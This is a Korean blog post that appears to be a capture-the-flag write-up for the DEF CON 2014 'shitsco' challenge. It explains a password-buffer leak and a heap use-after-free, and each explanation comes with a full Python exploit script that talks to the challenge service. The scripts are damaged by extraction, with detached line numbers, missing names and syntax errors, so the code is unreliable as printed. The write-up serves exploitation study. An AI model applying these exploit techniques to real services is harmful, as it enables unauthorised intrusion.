[Defcon 2014] shitsco - use-after-free or memory leak

Posted by push0ebp
2015. 5. 15. 03:03 Hacking/Pwnable

풀이 방법이 2가지가 존재한다. 하나는 릭을 이용한 방법, 다른 하나는 uaf를 이용한 방법이다.


1. leak을 이용한 방법
enable에서 입력받은 패스워드 버퍼가 초기화되지않아 이상한 값들이 보인다. 무언가 수상하다.
 
sub_8048C30(0, &s2, 0x20, 10);  //문자열 입력 함수
저 함수에서 문자열을 입력받고 나서 NULL을 넣어주지 않아 leak이 발생한다.

그런데 밑에 패스워드 체크 부분에서 수상한 점이있었다.
 v4 = strcmp(password, v1);
  if ( v4 )
if(strcmp(..))으로 해도 되는데 굳이 지역 변수에 담아 체크한다.

그런데 위에 보면
char s2; // [sp+18h] [bp-34h]@2
int v4; // [sp+38h] [bp-14h]@3
입력받은 문자열에 strcmp리턴값이 붙어있다. 크기도 0x20으로 딱 맞다.
이제 리턴 값을 이용하여 패스워드를 알아내면 끝.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python
from socket import *
import time
import struct
 
= lambda x: struct.pack("<L", x)
def up(x):
    return struct.unpack("<L", x+'\x00'*(4-len(x)))[0]
 
cnt = 0 
log = 0
 
def u(str): 
    global sk
    data = ''
    while str not in data:
        data += sk.recv(1)
    if log != 0:
        print data
    return data
 
def r():
    #time.sleep(0.1)
    global sk
    data = sk.recv(4096)
    if log != 0:
        print data
    return data
 
def pu(str):
    global cnt
    data = u(str)
    print data
    print 'cnt',cnt
    cnt += 1
    return data
 
def pr():
    global cnt
    s = r()
    print s
    print 'cnt',cnt
    cnt += 1
    return s
 
stream=''
def s(str): 
    #time.sleep(0.1)
    if str.find("\x00"!= -1:
        print "NULL"
    if log != 0:
        print str
    global stream
    stream += str
    global sk
    return sk.send(str)
 
IP = '1.1.1.5'
PORT = 1234
 
sk = socket(21)
sk.connect((IP, PORT))
 
def enable(pwd):
    s('enable\n')
    r()
    s(pwd+'\n')
    return r()
 
r()
password = '\xCC'*0x1f
for i in range(0x1f):
    for j in range(0x600x80):
        payload = password[:i]+chr(j)+password[i+1:]
        leak = enable(payload)
        ret = leak[leak.rfind('\xCC')+2:leak.rfind('\n')]
        ret = up(ret)
        if ret >> 8 == 0xffffff
            password = payload
            print password[:password.find('\xCC')]
            break
print password
 
 
cs



2. use-after-free


노드 흐름
*set 3 node
node    1    2    3
prev    0    1    2
next    1    3    0
0<1><2><3


*delete 1
node    1    2    3   
prev          0    2
next          3    0
0  <2><3

*delete 2
node    1    2    3   
prev                0
next                0
0     <3

*set 1
node    1    2    3   
prev    0    A...    0
next    0    B...    0


*uaf
일반적인 할당 흐름
free(i->value);
free(i->name);
free(i);

newvar = calloc(1u, 16u);
list.name = __strdup(name);
list_value = __strdup(value);

#할당 크기
alloc은 할당 크기에 따라 위치가 달라진다.
uaf시 같은 주소를 참조하기 위해서 할당 크기를 동일하게 해주어야한다.

calloc(1, 16) 노드 구조체 크기 16로 할당.
strdup은 문자열 클론을 만들어 주는함수인데 내부에서 malloc(문자열크기+1)을 호출한다.
16-1=15 크기로 할당하면 된다.

free(node[2]->value)
free(node[2]->name)
free(node[2])

//첫번째 노드는 calloc을 하지않음 -> free한 노드에 uaf 가능
node[1]->name = strdup('A'*16)
node[1]->value = strdup('B'*16)

*마지막으로 free한 곳이 2번째 노드이므로 strdup을 이용하여 2번째 노드 구조체에 원하는 값을 Write할수있다.
-> 노드의 next 주소를 password 주소로 조작해주면 show할때 password를 알아 낼수 있다.

SIGSEGV
EDI: 0x42424242 ('BBBB')
=> 0xf7e57fef <vfprintf+18767>:    repnz scas al,BYTE PTR es:[edi]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python
from socket import *
import struct
 
= lambda x: struct.pack("<L", x)
def up(x):
    return struct.unpack("<L", x+'\x00'*(4-len(x)))[0]
 
cnt = 0 
log = 0
 
def u(str): 
    global sk
    data = ''
    while str not in data:
        data += sk.recv(1)
    if log != 0:
        print data
    return data
 
def r():
    global sk
    data = sk.recv(4096)
    if log != 0:
        print data
    return data
 
def pu(str):
    global cnt
    data = u(str)
    print data
    print 'cnt',cnt
    cnt += 1
    return data
 
def pr():
    global cnt
    s = r()
    print s
    print 'cnt',cnt
    cnt += 1
    return s
 
stream=''
def s(str): 
    if str.find("\x00"!= -1:
        print "NULL"
    if log != 0:
        print str
    global stream
    stream += str
    global sk
    return sk.send(str)
 
IP = '1.1.1.5'
PORT = 1234
 
sk = socket(21)
sk.connect((IP, PORT))
 
r()
 
def set(name, value):
    s('set '+name+' '+value+'\n')
    r()
 
def delete(name):
    s('set '+name+'\n')
    r()
 
def show():
    s('show\n')
    return r()
 
set('A'*16,'A'*16)
set('B'*16,'B'*16)
set('C'*16,'C'*16)
delete('A'*16)
delete('B'*16)
 
password = p(0x804C3A0)
set(password*4,password*4)
print show()
 
= open('i','w')
f.write(stream[:-1])
f.close()
cs



shitsco_c8b1aa31679e945ee64bde1bdb19d035.idb


지적 부탁드립니다.